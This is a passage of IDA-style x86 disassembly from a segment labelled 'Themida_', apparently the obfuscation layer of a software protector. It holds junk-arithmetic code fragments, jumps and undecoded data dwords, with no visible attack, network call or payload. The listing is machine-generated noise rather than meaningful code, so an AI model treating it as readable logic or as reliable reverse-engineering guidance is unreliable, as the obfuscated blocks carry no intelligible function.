loc_55F710:				; CODE XREF: Themida_:00560AD0j
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_565E65
		push	dword ptr [edi+1Ch]
		jmp	loc_56BEC8
; ---------------------------------------------------------------------------
		dd 0E906E6C1h, 0D0ACh
; ---------------------------------------------------------------------------

loc_55F730:				; CODE XREF: Themida_:00558C15j
		add	dword ptr [esp+4], 444C379Fh
		add	[esp+4], esi
		sub	dword ptr [esp+4], 444C379Fh
		pop	esi
		pop	ecx
		push	edi
		push	ebp
		mov	ebp, 3A2862D2h
		jmp	loc_56D547
; ---------------------------------------------------------------------------
aNhB		db '­hÊb',0
		align 4
		dd 0BF243C89h, 515B0D8Dh, 2B6E94Fh, 0E95C0000h,	0C108h
; ---------------------------------------------------------------------------

loc_55F76C:				; CODE XREF: Themida_:0055A9E0j
		pop	ebp
		jmp	loc_56490E
; ---------------------------------------------------------------------------

loc_55F772:				; CODE XREF: Themida_:00561860j
		pop	edx
		jmp	loc_567129
; ---------------------------------------------------------------------------

loc_55F778:				; CODE XREF: Themida_:00564F9Cj
		push	eax
		push	esi
		jmp	loc_568E45
; ---------------------------------------------------------------------------
		db 81h
		dd 0DD30ADCDh, 0B114E975h, 0E958FFFFh, 32ECh, 75230548h
		dd 0D0F76E50h, 0C592105h, 8CE2D1Dh, 0CAE9B183h,	81FFFFDFh
		dd 1997242Ch, 38F6CE9h,	19970381h, 0DAE96CE9h, 5D0000A7h
		dd 6B3368h, 243C8900h, 4BFh, 0B7A2E900h, 0C481FFFFh, 4
		dd 63768h, 243C8900h, 94CCE9h, 4C78300h, 0FFD6ABE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F7E9:				; CODE XREF: Themida_:0056DB23j
		add	edx, 75034986h
		jmp	loc_5632AA
; ---------------------------------------------------------------------------
		dd 4EC81h, 14890000h, 28A7B224h, 0FD30E9D3h, 0BD55FFFFh
		dd 4, 2C8BEB01h, 4C48124h, 0E9000000h, 2BFCh, 0F604E5C0h
		dd 0C7ED80DDh, 0E959EE88h, 0C868h, 5AA7EF81h, 0BE566569h
		dd 6DA2009Fh, 28EBE9h
		db 0
; ---------------------------------------------------------------------------

loc_55F83D:				; CODE XREF: Themida_:00558BB4j
		add	edx, ecx
		jmp	loc_56A621
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 7115084Ch, 68E9CD31h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F853:				; CODE XREF: Themida_:0056AB1Ej
		shr	ebp, 8
		jmp	loc_55ABB4
; ---------------------------------------------------------------------------
		db 0BAh
		dd 0FE53286h, 4EC81h, 0C890000h, 1596B924h, 0E9566566h
		dd 2160h, 0CBA4E956h, 8B66FFFFh, 0EC81240Ch, 4,	54240489h
		dd 7036858h, 0C890000h,	2EDB924h, 0E9C167C3h, 71C98105h
		dd 0E951E247h, 390Bh, 5F8DEB81h, 8B5F42E3h, 0C4812434h
		dd 4, 2474FF53h, 1CE95B04h, 0B8FFFFE3h,	741A4780h, 2C119C05h
		dd 2FB22533h, 0C2D1C97h, 81040609h, 2E56A2EAh, 0D2C2814Eh
		dd 12DDB18h, 0D2EA81C2h, 812DDB18h, 2E56A2C2h, 1433584Eh
		dd 6003E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55F8F6:				; CODE XREF: Themida_:0056B3BBj
		pop	eax
		push	ebp
		mov	ebp, 1C671C31h
		sub	ebp, 0A4650EBCh
		xor	esi, ebp
		jmp	loc_558EEA
; ---------------------------------------------------------------------------

loc_55F90A:				; CODE XREF: Themida_:00561257j
		mov	ebx, 17A13B8Dh
		jmp	loc_55E1BC
; ---------------------------------------------------------------------------

loc_55F914:				; CODE XREF: Themida_:005657E4j
		push	esp
		pop	eax
		add	eax, 4
		sub	esp, 4
		mov	[esp], edx
		push	edi
		jmp	loc_55C211
; ---------------------------------------------------------------------------
aBSszSg		db 'ÃSS§',0Bh,'éƒÊ',0
		align 2

loc_55F932:				; CODE XREF: Themida_:0055C40Bj
		sub	eax, 0FFFFFFFFh
		push	ebp
		jmp	loc_55A27A
; ---------------------------------------------------------------------------
		db 0BAh
		dd 52FD55C1h, 2FFCCA81h, 0E2815A04h, 273C2272h,	35E5C281h
		dd 0D3891177h, 0D3F74B5Ah, 0E9D3F74Bh, 50B4h, 0E9241C8Bh
		dd 92Ah, 0F40028B4h, 0D0C4FE5Ah, 8ECC0ECh, 0B1E9C4FEh
		db 0AEh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55F97B:				; CODE XREF: Themida_:0055BE61j
		add	edi, 4
		add	edi, 4
		jmp	loc_566F13
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0EE010000h, 5C5D685Dh, 2C890000h, 3D3BD24h, 3DE965B8h
		db 0D8h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55F9A3:				; CODE XREF: Themida_:005626D3j
		shr	esi, 7
		add	esi, 10A74465h
		or	esi, 29692CDAh
		inc	esi
		xor	esi, 396F3CFFh
		add	ebp, esi
		jmp	loc_55E5A6
; ---------------------------------------------------------------------------
aTysi		db 'TYéI',0
		db 2 dup(0), 5Bh
		dd 4EC81h, 14890000h, 9781E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F9D6:				; CODE XREF: Themida_:0055B10Ej
		push	ebp
		mov	ebp, 47B66956h
		add	edx, ebp
		pop	ebp
		shl	edx, 7
		shl	edx, 3
		xor	edx, 61D7C000h
		jmp	loc_567430
; ---------------------------------------------------------------------------
aAST		db '€ÇÛéÞT',0
		align 4
		dd 0FF3877FFh, 81592434h, 4ECh,	242C8900h, 0E9535D54h
		dd 2637h, 4C181h, 0E9500000h, 0FFFF9879h, 0EF81D7F7h, 1
		dd 215EF81h, 0E7C12E40h, 0FCF78102h, 295B29E2h,	0D8015FF8h
		dd 4473E9h, 4C18300h, 5C240C87h, 0B7568h, 240C8900h, 0E904EC83h
		dd 0A688h, 18E9F388h, 8B000075h, 0C483241Ch, 2EC28004h
		dd 0FF5AD300h, 83592434h, 0B60F04C4h, 87048DC0h, 438568h
		dd 241C8900h, 8904EC83h, 0E9542404h, 0FFFFF1F1h, 8087B252h
		dd 5366F6F2h, 0FA2030B7h, 0F2805B66h, 37F280E9h, 1D0CE9h
		dd 4C78100h, 81000000h,	4EFh, 243C8700h, 8924248Bh, 0BD552424h
		dd 4, 4246C01h,	240C8B5Dh, 4C481h, 0C1810000h, 4, 4BD55h
		dd 0C1810000h, 3C5A347Dh, 0BB53E901h, 3C5A347Dh, 34FFD929h
		dd 6EE95B24h, 6800008Ah, 1F5Fh,	0B9240C89h, 5A421E45h
		dd 1A27E981h, 0D9F721CAh, 905EC181h, 0C1E91249h
		db 0ADh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55FB0F:				; CODE XREF: Themida_:005679E2j
		add	esp, 4
		jmp	loc_55D1B5
; ---------------------------------------------------------------------------
		db 66h
		dd 2404AB0Fh, 726DE99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55FB22:				; CODE XREF: Themida_:0055894Dj
		mov	eax, esp
		add	eax, 4
		jmp	loc_563714
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 5D43E9h, 4C78100h, 87000000h, 0F4E9243Ch
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55FB47:				; CODE XREF: Themida_:0055B31Aj
		push	ecx
		jmp	loc_55DA4F
; ---------------------------------------------------------------------------

loc_55FB4D:				; CODE XREF: Themida_:0056B3A9j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 281655DEh
		push	ebx
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		push	ecx
		xchg	edi, [esp]
		not	edi
		jmp	loc_5638D2
; ---------------------------------------------------------------------------
		dd 4EC8152h, 89000000h,	0F0BF243Ch, 0E96E2920h,	0FFFFFB02h
		dd 0E924248Bh, 24D7h, 4BFh, 5FFB8900h, 1C8BD801h, 2B66E924h
		dd 0EE090000h, 4CEE815Dh, 897A751Ah, 0F7E95EF7h, 81000045h
		dd 4C4h, 8BF50100h, 0C4832434h,	0C6E95704h
		db 0BCh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55FBC3:				; CODE XREF: Themida_:005698B3j
		push	ecx
		jmp	loc_56AA5E
; ---------------------------------------------------------------------------
		db 88h,	0D9h, 88h
		dd 240C8BCCh, 4C481h, 0A1E90000h, 0E900003Fh, 0FFFF8CACh
; ---------------------------------------------------------------------------

loc_55FBE0:				; CODE XREF: Themida_:00563907j
		mov	[esp], esp
		push	eax
		jmp	loc_55C62A
; ---------------------------------------------------------------------------

loc_55FBE9:				; CODE XREF: Themida_:0055B583j
		push	15CDh
		mov	[esp], edx
		jmp	loc_56D508
; ---------------------------------------------------------------------------

loc_55FBF6:				; CODE XREF: Themida_:0056684Dj
		push	2E79h
		mov	[esp], edx
		mov	dh, bl
		mov	ah, dh
		mov	edx, [esp]
		add	esp, 4
		push	3DF7h
		jmp	loc_568D17
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 2, 2474FF53h, 241C8B04h, 0C954E9h, 0E9F10100h, 210Eh
		dd 56D1E981h, 48B4A91h,	4C48324h, 8CDCE9h
		db 0
; ---------------------------------------------------------------------------

loc_55FC3D:				; CODE XREF: Themida_:0056D08Ej
		push	esp
		pop	edx
		push	edi
		mov	edi, 39670FBBh
		push	edx
		push	ebx
		jmp	loc_562569
; ---------------------------------------------------------------------------
		dd 0AEB4EE81h, 0F029FBD7h, 43502D5Eh, 0F8016C0Dh, 0D435005h
		dd 4023056Ch, 0E95F7A55h, 14AAh, 1C49BB53h, 0BF2D48A1h
		dd 29410563h, 63BF05D8h, 5A5B4105h, 5C240487h, 2A242C81h
		dd 5229E61Dh, 296891BAh, 24540176h, 89565A04h, 4C681E6h
		dd 0E9000000h, 1A88h, 8904EC83h, 7BA2414h, 57395914h, 0AB30F1BFh
		dd 5083B97Fh, 91E9E2DCh, 0FFFFFFA7h, 34FF2434h,	0C4815924h
		dd 4, 175D68h, 24348900h, 654E68h, 24248900h, 4240483h
		dd 8B2434FFh, 0CAE92434h
		db 0A7h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55FCEB:				; CODE XREF: Themida_:0055DEBEj
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_55B83E
; ---------------------------------------------------------------------------

loc_55FD10:				; CODE XREF: Themida_:0055C2FCj
		mov	ebp, [esp]
		jmp	loc_55E4DD
; ---------------------------------------------------------------------------
		dd 590756BEh, 0E9F28911h, 8202h
; ---------------------------------------------------------------------------

loc_55FD24:				; CODE XREF: Themida_:0056D503j
		mov	esi, 58F63E74h
		xchg	edi, esi
		not	edi
		xor	esi, edi
		xor	edi, esi
		xor	esi, edi
		push	5319h
		mov	[esp], ebx
		jmp	loc_56D3F3
; ---------------------------------------------------------------------------

loc_55FD40:				; CODE XREF: Themida_:0056A096j
		add	esp, 4
		add	eax, 68435F4h
		sub	eax, ebx
		sub	eax, 68435F4h
		pop	ebx
		xor	ebx, eax
		jmp	loc_55F67F
; ---------------------------------------------------------------------------

loc_55FD5A:				; CODE XREF: Themida_:0056601Bj
		mov	[esp], edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 620E3AC5h
		shl	edx, 4
		jmp	loc_55C1B6
; ---------------------------------------------------------------------------

loc_55FD7E:				; CODE XREF: Themida_:0056DECEj
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_562429
; ---------------------------------------------------------------------------
		db 81h
		dd 7A12404h, 0AE901FFh,	8B00001Ch, 0C9E9243Ch, 8100004Fh
		dd 56533C2h, 51CA290Fh,	1FA9BA52h, 0D18908D3h, 38C9815Ah
		dd 561ECA33h, 722194BEh, 4C69E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55FDDA:				; CODE XREF: Themida_:00561FDFj
		mov	edi, 615D6F94h
		sub	ecx, edi
		pop	edi
		push	edi
		jmp	loc_56552E
; ---------------------------------------------------------------------------
		dd 240C8B66h, 8904EC83h, 5F54243Ch, 255BBD55h, 0C58154FFh
		dd 30221882h, 0E904E5C1h, 0C52Ah, 4FF4BD55h, 0F5814EA4h
		dd 49377B86h, 0FB4AED81h, 0E921B5CFh, 4C1815Dh,	1FE7D00h
		dd 16E9CEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55FE2A:				; CODE XREF: Themida_:0055A5DBj
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	6A4Bh
		mov	[esp], ecx
		push	esp
		jmp	loc_56D4D5
; ---------------------------------------------------------------------------
		dd 9E3BE959h, 5250FFFFh, 0E14831BAh, 0F2814265h, 2BEF4341h
		dd 0BF57EAD1h, 7FEF4D6Bh, 0F781D7F7h, 5FEAC320h, 0FFB114E9h
		dd 94E981FFh, 816ED47Dh, 982C42E9h, 5BEEE938h, 89050000h
		dd 2D4C4120h, 26E46C74h, 87769105h, 3F22D57h, 4E9341Eh
		dd 0BA0000A5h, 7BA51270h, 535AD131h, 0EF6005BBh, 4C42E9DCh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55FEA6:				; CODE XREF: Themida_:0055A118j
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xchg	edi, [esp]
		mov	esp, [esp]
		mul	cl
		movzx	cx, ah
		push	2F5Dh
		jmp	loc_56D85C
; ---------------------------------------------------------------------------
		dw 6C01h
		dd 595D0424h, 51685650h, 5E1CB026h, 4EF4CE81h, 0E957778Ah
		dd 0C6D1h, 0AC4AA6BFh, 84EF815Dh, 0C13FE856h, 0F78105E7h
		dd 16A3A9Ah, 6760E9h
		db 0
; ---------------------------------------------------------------------------

loc_55FF05:				; CODE XREF: Themida_:0056A48Dj
		shl	bh, 5
		not	bh
		jmp	loc_55B76F
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 24148B24h, 4C481h, 8C680000h, 89000067h
		dd 0E0892404h, 41BB5352h, 502BC579h, 0C5793DB8h, 65B8502Bh
		dd 290FD617h, 0C32958C3h, 1765C381h, 0E9580FD6h, 4934h
		dd 0E6818B8h, 9EBE5612h, 29F4AF7Bh, 9C685EF0h, 89000074h
		dd 3CE92404h, 55FFFFFEh, 0DC0723BDh, 0E9EA2925h, 370Ch
		dd 0E959E828h, 3C5Ah, 0D8F7485Ch, 493BA125h, 2EF13559h
		dd 8750196Bh, 0D7F7243Ch, 7AC8E9h, 6CF18000h, 2C59C888h
		dd 438BE9EFh, 0E9570000h, 2287h, 6655EB81h, 0F329662Ah
		dd 1085E9h, 0E8295B00h,	4BBA525Dh, 10EDF7Ah, 0D9E95AD0h
		dd 59FFFFA7h, 0D0F61D24h, 9693E9h, 88B6E900h, 0E8B9FFFFh
		dd 0E94D2950h, 0FFFFF607h
; ---------------------------------------------------------------------------

loc_55FFE0:				; CODE XREF: Themida_:0055A6A0j
		push	2870093Bh
		pop	edx
		shr	edx, 3
		jmp	loc_5628E6
; ---------------------------------------------------------------------------

loc_55FFEE:				; CODE XREF: Themida_:00566844j
		mov	[esp], eax
		push	ebp
		mov	ebp, 2EEE5848h
		mov	eax, 0EE53CD79h
		add	eax, ebp
		pop	ebp
		sub	eax, 0A026FD6h
		sub	eax, 0FFFFFFFFh
		jmp	loc_564C61
; ---------------------------------------------------------------------------
aISl1		db '‰$$é‹1',0
		align 2

loc_560016:				; CODE XREF: Themida_:0055B8BCj
		neg	ebp
		dec	ebp
		xor	ebp, 51724D66h
		jmp	loc_5628DC
; ---------------------------------------------------------------------------
		dd 5FFA295Ah, 654CE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56002E:				; CODE XREF: Themida_:00567CF9j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 66FC0C78h
		inc	ebx
		jmp	loc_569CEA
; ---------------------------------------------------------------------------
		dw 39BEh
		dd 0BB1F456Bh, 4F54E5B2h, 277CC381h, 0DE977C4h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_560057:				; CODE XREF: Themida_:00569F71j
		mov	eax, [esp]
		jmp	loc_55E607
; ---------------------------------------------------------------------------
		db 66h
		dd 0D7F7664Fh, 2F8E6866h, 24348966h, 9004E9h, 2E3C000h
		dd 0C051B450h, 0EC8007E4h, 58E33082h, 6607EBC0h, 0B01AE951h
		dd 0EB80FFFFh, 80C3283Ah, 7BE93AC3h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560097:				; CODE XREF: Themida_:0056798Dj
		mov	[esp], ebx
		mov	ebx, 4
		add	ebp, 35E93852h
		add	ebp, ebx
		push	ebx
		jmp	loc_56C8B1
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 14h
		dd 80C0B624h, 0F68001C6h, 0D3DDE9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5600BE:				; CODE XREF: Themida_:00566342j
		add	ebp, 9921836Bh
		add	edi, ebp
		pop	ebp
		sub	edi, 275E6BA4h
		jmp	loc_560E96
; ---------------------------------------------------------------------------
		dw 35B9h
		dd 8114654Dh, 8F57CFEDh, 81CD013Ch, 8F57CFC5h, 0EA89593Ch
		dd 42D2F75Dh, 0E21F281h, 55E95D77h, 8BFFFF96h, 0C481243Ch
		dd 4, 1FEABD55h, 0E80168E6h, 7447E9h, 2AD7BF00h, 0D701F4C5h
		dd 0CAD5E9h
		db 0
; ---------------------------------------------------------------------------

loc_560119:				; CODE XREF: Themida_:00561B69j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_56DAA9
; ---------------------------------------------------------------------------
aBst5s		db 'é’',27h,'Î5é:}',0
		dd 48B6600h, 2C48124h, 0F000000h, 6866C0B6h, 0DE96394h
		dd 890000A7h, 2434FFD1h, 64E8E9h
		db 0
; ---------------------------------------------------------------------------

loc_560159:				; CODE XREF: Themida_:00563AB7j
		mov	ebx, 646175ACh
		jmp	loc_564076
; ---------------------------------------------------------------------------
		db 0FFh
		dd 48B2434h, 4C48324h, 31A568h,	241C8900h, 0BD55E389h
		dd 20ED4E8Ah, 4D07E5C1h, 7CCCF581h, 0E950109Dh,	92ABh
		dd 8379C181h, 0E95665CFh, 0FFFF8979h, 0D224248Bh, 0E99C2424h
		dd 0FFFF86E8h, 0FF86E3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5601A9:				; CODE XREF: Themida_:00562F19j
		mov	[edi+20h], ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55C484
; ---------------------------------------------------------------------------

loc_5601BA:				; CODE XREF: Themida_:0055B103j
		add	ebx, 6B14EB5h
		jmp	loc_565D8A
; ---------------------------------------------------------------------------
		db 1, 0C7h, 81h
		dd 0D23181C7h, 24048B49h, 4C481h, 3C330000h, 243C3124h
		dd 5C243C33h, 9C240401h, 0FF86A3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5601E9:				; CODE XREF: Themida_:0056956Dj
		sub	edi, ebx
		sub	edi, 209B0F9Dh
		pop	ebx
		add	edi, 1688D985h
		jmp	loc_55CBA4
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FB8DEF81h, 0F92128E1h, 14C9815Fh, 81081D17h, 1D1752E9h
		dd 8BCB0108h, 0C481240Ch, 4, 8B241C87h,	0C4E92424h, 500006Ch
		dd 6F88319Bh, 0D859272Dh, 2BBD556Ah, 0E968A450h, 0A8FDh
; ---------------------------------------------------------------------------

loc_560240:				; CODE XREF: Themida_:0056A563j
		push	edi
		mov	edi, 10362A59h
		mov	esi, edi
		pop	edi
		and	esi, 331D509Dh
		not	esi
		sub	esi, 27B017FCh
		jmp	loc_559E64
; ---------------------------------------------------------------------------

loc_56025C:				; CODE XREF: Themida_:0056465Cj
		add	esp, 4
		sub	[esp], bh
		sub	byte ptr [esp],	93h
		mov	bh, [esp]
		add	esp, 4
		push	edx
		mov	dl, 0D0h
		not	dl
		push	ecx
		mov	ch, dl
		not	ch
		mov	dl, ch
		pop	ecx
		sub	dl, 0F8h
		add	dl, 2Bh
		add	bh, dl
		jmp	loc_5688B8
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
aRs9		db 'RéÊ9',0
		align 2
		dw 0C483h
		dd 4EC2C04h, 53E8288Dh,	0F8288DB7h, 0DBB2525Bh,	0E908EAC0h
		dd 9625h
; ---------------------------------------------------------------------------

loc_5602AC:				; CODE XREF: Themida_:0055DB5Fj
		mov	[esp], esp
		push	edx
		jmp	loc_56D9E8
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 4
		dd 87000000h, 895C2434h, 8950241Ch, 405E0h, 0DAE90000h
		dd 810000CAh, 6411C9E9h, 0C8295A6Dh, 19B95159h,	68659A66h
		dd 8D1h, 68240489h, 1D8Ah, 0BA241489h, 40FCF4EBh, 86368h
		dd 24148900h, 84240481h, 8B050A7Dh, 0C4812404h,	4, 7EC7E953h
		dd 0C6810000h, 5876371h, 8124148Bh, 4C4h, 0D863E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_560326:				; CODE XREF: Themida_:0055E480j
		add	dword ptr [esp], 685F065Ch
		pop	ebx
		jmp	loc_56C3AA
; ---------------------------------------------------------------------------
aSw		db ']éW$',0
		dd 240C8900h, 4B9h, 25C78100h, 511FFB41h, 0EE7468B9h, 2E1C10Bh
		dd 48DCC181h, 0E9C11D60h, 754E908h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56035E:				; CODE XREF: Themida_:00564DC8j
		push	esp
		pop	ebp
		push	ebx
		jmp	loc_56C761
; ---------------------------------------------------------------------------
		dw 0C583h
		dd 61C581FFh, 0E97F9103h, 1B72h
; ---------------------------------------------------------------------------

loc_560374:				; CODE XREF: Themida_:00559BD6j
		add	ebp, 4
		jmp	loc_564E8E
; ---------------------------------------------------------------------------
		dd 335DEB01h, 39E9241Ch, 83FFFFB8h, 348704C4h, 24248B24h
		dd 8904EC83h, 0E789243Ch, 4C781h, 55E90000h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5603A3:				; CODE XREF: Themida_:0055BE04j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_559F44
; ---------------------------------------------------------------------------

loc_5603B4:				; CODE XREF: Themida_:0055EA1Ej
		pop	ebx
		push	ecx
		jmp	loc_560E0F
; ---------------------------------------------------------------------------
		db 1
		dd 41BCE9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5603C2:				; CODE XREF: Themida_:0056B14Cj
		mov	esi, 68CF19F7h
		jmp	loc_55F478
; ---------------------------------------------------------------------------
		dd 0F4309EB4h, 0E92434FFh, 0FFFF9C1Ch, 0B911E95Ch, 0EC830000h
		dd 243C8904h, 1C6FC1BFh, 0B0C4E974h, 0D366FFFFh, 0E99C2404h
		dd 0FFFF8494h
; ---------------------------------------------------------------------------

loc_5603F8:				; CODE XREF: Themida_:0056D436j
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		jmp	loc_55E942
; ---------------------------------------------------------------------------
		db 68h,	9, 68h
		dd 34890000h, 0C3BE6624h, 0EE81662Eh, 1662D0Bh,	0A52DE9F3h
		dd 32FF0000h, 0B643E9h
		db 0
; ---------------------------------------------------------------------------

loc_560429:				; CODE XREF: Themida_:0056D058j
		push	ecx
		jmp	loc_569934
; ---------------------------------------------------------------------------
		db 0FFh
a4YhK		db '4$Yh=k',0
		align 4
aIIxhm8		db '‰,$‰åhŒ8',0
		align 2
		dw 489h
		dd 4B824h, 0C5810000h, 19963B8Bh, 0FF9E8AE9h, 88C181FFh
		dd 2977DF34h, 88E981F9h, 0FF77DF34h, 535F2434h,	0FF9BE9E9h
		dd 4EC81FFh, 89000000h,	5DBD242Ch, 81A458B8h, 0CB63D7EFh
		dd 0D3B9514Ah, 8172932Ch, 0E96521C9h, 9645E935h, 3481FFFFh
		dd 9958B824h, 0F2815A2Ah, 2A9958B8h, 242C8B58h,	2104C483h
		dd 0E95A1C57h, 0FFFFA5E5h, 240481h, 572AD02Ah, 0FC0EFEBFh
		dd 0E4CAE961h, 74FFFFFFh, 3C8B0424h, 4C48124h, 8F000000h
		dd 248B2404h, 3CD36624h, 4DE99C24h, 8B000068h, 0C4832434h
		dd 58C60104h, 2474FF56h, 2434FF04h, 0E389535Eh,	4C381h
		dd 0C3810000h, 4, 0E9241C87h, 99C8h
; ---------------------------------------------------------------------------

loc_560508:				; CODE XREF: Themida_:0055F64Dj
		push	dword ptr [esp]
		jmp	loc_565D1B
; ---------------------------------------------------------------------------
		dd 4308EBC1h, 0C381DBF7h, 1C417BF0h, 57DBEB81h,	0DD891C24h
		dd 81241C8Bh, 4C4h, 4EC8100h, 0E9000000h, 590Fh
; ---------------------------------------------------------------------------

loc_560538:				; CODE XREF: Themida_:0056AB2Aj
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ebp
		push	ebx
		push	edx
		mov	edx, 369827FDh
		add	edx, 1EC57019h
		add	edx, 0FC35D1A6h
		mov	ebx, edx
		pop	edx
		mov	ebp, ebx
		pop	ebx
		sub	eax, ebp
		pop	ebp
		push	ebx
		mov	ebx, 0A8A1223Eh
		jmp	loc_562C49
; ---------------------------------------------------------------------------

loc_560567:				; CODE XREF: Themida_:0055E446j
		mov	[esp], ecx
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		not	ebp
		xchg	ebp, [esp]
		jmp	loc_56CFAF
; ---------------------------------------------------------------------------
		db 50h,	68h, 4
		dd 89000024h, 0D5E9242Ch
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56058B:				; CODE XREF: Themida_:00563ED6j
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55888C
; ---------------------------------------------------------------------------
		dd 23B2525Ah, 8006E2C0h, 0D3309BF2h, 0E9C3FE5Ah, 9351h
; ---------------------------------------------------------------------------

loc_5605B8:				; CODE XREF: Themida_:00564ABDj
		pop	eax
		push	edx
		push	esp
		jmp	loc_563DA4
; ---------------------------------------------------------------------------
		dd 5C241433h, 24048B66h, 34FF5456h, 24348B24h, 0FFAF52E9h
		dd 0CE950FFh, 68FFFFA8h, 3312h,	89240489h, 6A48E9E0h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5605EA:				; CODE XREF: Themida_:0055AF6Bj
		mov	[esp], eax
		push	esp
		jmp	loc_55A69D
; ---------------------------------------------------------------------------
		db 68h
		dd 18E6h, 52240C89h, 4BAh, 0BD03E900h, 0F581FFFFh, 0FAAF9906h
		dd 6C97E9h
		db 0
; ---------------------------------------------------------------------------

loc_560611:				; CODE XREF: Themida_:0056DCD3j
		push	ecx
		mov	ch, dl
		mov	bl, ch
		pop	ecx
		mov	edx, [esp]
		jmp	loc_566849
; ---------------------------------------------------------------------------
aFqski		db '(ÃfQ銨',0
		align 4

loc_560628:				; CODE XREF: Themida_:0055E39Dj
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_562FA5
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 4C481h, 0C4810000h, 4, 8904EC83h, 0E389241Ch, 4C381h
		dd 0C3810000h, 4, 8A31E9h
		db 0
; ---------------------------------------------------------------------------

loc_56065D:				; CODE XREF: Themida_:0056396Aj
		sub	ebx, 5D7E1449h
		add	ebx, 49B15DAEh
		add	ebx, eax
		sub	ebx, 49B15DAEh
		push	668Dh
		mov	[esp], esi
		push	edi
		mov	edi, 62D2E60h
		or	edi, 0E075BA0h
		or	edi, 21B76D00h
		inc	edi
		and	edi, 69AD595Fh
		jmp	loc_56894A
; ---------------------------------------------------------------------------
		db 89h
		dd 0B7682414h, 53000050h, 0C381E389h, 4, 4EB81h, 1C870000h
		dd 8F545C24h, 4832404h,	48F0424h, 4EC8124h, 89000000h
		dd 4B9240Ch, 56000000h,	987D16BEh, 24742962h, 335EE908h
		dd 815D0000h, 4C5h, 0C4E0E900h,	1C89FFFFh, 1C8B5424h, 4C48324h
		dd 2E50E9h, 48F5A00h, 24248B24h, 7468C330h, 0E900003Dh
		dd 0FFFFFB81h, 0E789575Dh, 4C781h, 4CE90000h, 5200008Dh
		dd 0C2815A54h, 4, 4BF57h, 0FA010000h, 0BAA3E9h,	24348B00h
		dd 0FF8C43E9h, 240489FFh, 2BF1AEB8h, 58C2319Dh,	495AD101h
		dd 40E9D1F7h, 500000CDh, 0FFAAACE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560751:				; CODE XREF: Themida_:00558CA8j
		add	esp, 4
		push	ebx
		mov	ebx, 2B7E62DAh
		neg	ebx
		push	edi
		jmp	loc_569A7C
; ---------------------------------------------------------------------------

loc_560762:				; CODE XREF: Themida_:00566E23j
		push	edx
		jmp	loc_56B1ED
; ---------------------------------------------------------------------------

loc_560768:				; CODE XREF: Themida_:0055DCD2j
		pop	edx
		add	esp, 4
		jmp	loc_55F652
; ---------------------------------------------------------------------------

loc_560774:				; CODE XREF: Themida_:00563F2Dj
		push	edx
		mov	edx, 199D17B1h
		jmp	loc_564A0C
